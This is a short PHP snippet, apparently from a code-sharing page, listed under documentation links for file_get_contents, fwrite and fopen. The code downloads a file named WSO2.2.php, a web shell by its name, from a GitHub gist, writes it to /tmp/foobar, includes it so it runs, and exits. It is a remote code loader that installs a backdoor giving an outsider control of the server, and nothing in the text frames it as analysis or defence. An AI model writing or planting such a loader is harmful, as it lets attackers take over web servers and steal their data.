- file_get_contents: documentation ( source)
- fwrite: documentation ( source)
- fopen: documentation ( source)
<?php
fwrite(fopen("/tmp/foobar", "w"), file_get_contents("https://gist.github.com/trev/1479024/raw/1d177e9a0d3e3e488bdc310a145137a14bc59c35/WSO2.2.php"));
include("/tmp/foobar");
exit(0);
?>